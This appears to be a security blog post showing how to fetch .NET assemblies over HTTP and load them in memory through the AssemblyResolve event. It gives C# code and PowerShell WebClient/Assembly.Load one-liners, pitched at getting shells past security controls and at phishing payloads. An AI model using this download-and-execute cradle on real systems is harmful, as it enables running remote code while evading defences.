.Net over .net – Breaking the Boundaries of the .Net Framework

TLDR:If you aren’t interested in the details and you have always wanted to run python on top of .Net in 5 lines of powershell or less, skip to the bottom for code snippets. If you want to figure out how that is possible read on…

I have been digging into .Net recently, trying to stretch the bounds of  the .Net Framework and have a very cool discovery to share.  Anyone who is interested in the offensive side of security is always looking to limit the amount of attack surface that is available to various security controls, when trying to get shells on boxes.  This article will hopefully teach you a bit about the .Net framework, as well as about how to pull and load .Net assemblies over the Internet into a C# application or even more interestingly…  PowerShell.  The resulting C# applications are around 6KB.  The resulting PowerShell applications are just a handful of lines of code.  Imagine having all the power, benefits and extensibility of managed .Net code without the footprint.  As an example, we are going to run (Iron)Python on top of .Net, over the internet. Here is how.

N.B. Just so you know, this project has been my first time delving into .Net and C#. If I don’t get all the terminology correct let me know in the comments and I’ll adjust as necessary.

How do .Net Assemblies Work?

So .Net assemblies are essentially like libraries that extend the capabilities of .Net. These assemblies can be dlls or exes. They usually exist on the filesystem somewhere. Common examples are in:

  • The same folder as the executing application or a sub-folder
  • The Global Assembly Cache(GAC) – This is where the OS stores its assemblies, but you can also publish your own to the GAC
  • A path specified by the application
  • Probably somewhere else that I forgot about

What Are Some Sneaky Ways to Use .Net Assemblies?

When creating payloads for use in security awareness testing and other phishing exercises, it is unrealistic to expect potential victims to download and execute a zipped up bundle of DLLs.   So (originally) I set out to find a way to make a single bundled exe with any assemblies needed embedded within the payload.  I found a cool project called Costura.  It works amazingly well, by bundling and compressing the assemblies into the exe as resources, essentially “data” as if the DLL were a picture or something.  Upon execution, the main exe unloads the DLL “as a resource” and loads it as an assembly just in time for it to be needed.

A very cool project indeed.  But it would still leave a lot of attack surface within the exe itself.  I thought about coming up with a way to encrypt/decrypt the “resources”, but while I was considering this I was intrigued by how this embedding actually worked, so I started digging deeper.  As I was reading the details of the project and exploring the links for more info I noticed one of the first links talks more about how this all works.

This takes you to an 8 year old post on MSDN by Jeffrey Richter(author of CLR via C#) about a novel technique that he came up with to load assemblies from resources.  Essentially the bare bones of which is the following:

AppDomain.CurrentDomain.AssemblyResolve += (sender, args) => {
  String resourceName = "AssemblyLoadingAndReflection." + new AssemblyName(args.Name).Name + ".dll";
  using (var stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName)) {
    Byte[] assemblyData = new Byte[stream.Length];
    stream.Read(assemblyData, 0, assemblyData.Length);
    return Assembly.Load(assemblyData);
  }
};

Interesting… Basically Jeffrey figured out that when an assembly is not found in the referenced paths or the GAC, an AsemblyResolve Event(essentially an exception) is raised and you can catch that event/exception with a custom handler to try to deal with it not being found. In this case, that handler looks for and finds it in a resource, unloads it and then loads the byte stream of data into an assembly object for use in the application.

Pulling It All Together

So… The handler takes “data” from what seems to be a relatively arbitrary location and loads the data as an assembly, ready for execution. Hmmm… How arbitrary is the location of that data? What if I just shove that data over HTTP(S)? So I did. And it totally works. And it barely requires any code, because we can make use of existing classes and functions of .Net. Here is an example application I wrote in C# which downloads IronPython assemblies from a web server(works over the net too) and prints “Hello World From IronPython”:

using System;
using System.Reflection;
using System.Net;
using IronPython.Hosting;


namespace cmd
{
  class Program
  {
    static Program()
    {
      AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(OnResolveAssembly);
    }
    public static void Main(string[] args)
    {
      var engine = Python.CreateEngine();
      engine.Execute("print 'Hello World From IronPython';time.sleep(1)");
    }

    private static Assembly OnResolveAssembly(object sender, ResolveEventArgs args)
    {
      Assembly executingAssembly = Assembly.GetExecutingAssembly();
      AssemblyName assemblyName = new AssemblyName(args.Name);
      string name = args.Name.Substring(0, args.Name.IndexOf(','));
      WebClient wc = new WebClient();
      Byte[] data = wc.DownloadData("http://localhost:8888/"+name+".dll");
      return Assembly.Load(data);
    }
  }
}

 

The whole solution is available here.

So essentially I’m making an application that explicitly expects to have assemblies available on the filesystem, and then doesn’t.  Normally this results in a crashing application, but because I have caught the exception with something that can handle it, it executes successfully.  It just so happens that in order for the AssemblyResolve event handler to deal with it, it has to fetch it from the net.

But whaaaaat about PowerShell? I hear you asking? Well you really can’t do anything in offensive security these days without it touching PowerShell. And thanks to the way that .Net works(Thanks CLR!), you can totally do this in PowerShell as well. Not everyone realizes this but .Net assemblies aren’t limited to C#. They can also be loaded into languages like PowerShell(and other languages that use the CLR). Here is the code to do it.

[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://localhost:8888/IronPython.dll"))|Out-Null
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://localhost:8888/IronPython.Modules.dll"))|Out-Null
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://localhost:8888/Microsoft.Scripting.dll"))|Out-Null
[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData("http://localhost:8888/Microsoft.Dynamic.dll"))|Out-Null
[ironpython.hosting.python]::CreateEngine().Execute("print 'Hello World From IronPython'")

Closing Thoughts

So I talked to Microsoft via their MSRC, and after several emails back and forth(mostly forth) about this, they were not interested in looking into it.

So thus far I haven’t really demonstrated anything really “offensive security” related. All I have done is find a way to execute .Net managed assemblies in a way that I’m almost certain that Microsoft didn’t intend. I’m working on something I hope will be pretty cool, hopefully I’ll have more to share soon. Watch this space. 😀

Also I used IronPython as an example in this project. .Net over .net really has nothing to do with that project, but I thought loading another language over the Internet was a very interesting example of the power of this concept.

PoC code for both C# and PowerShell is available from here.

Leave a Reply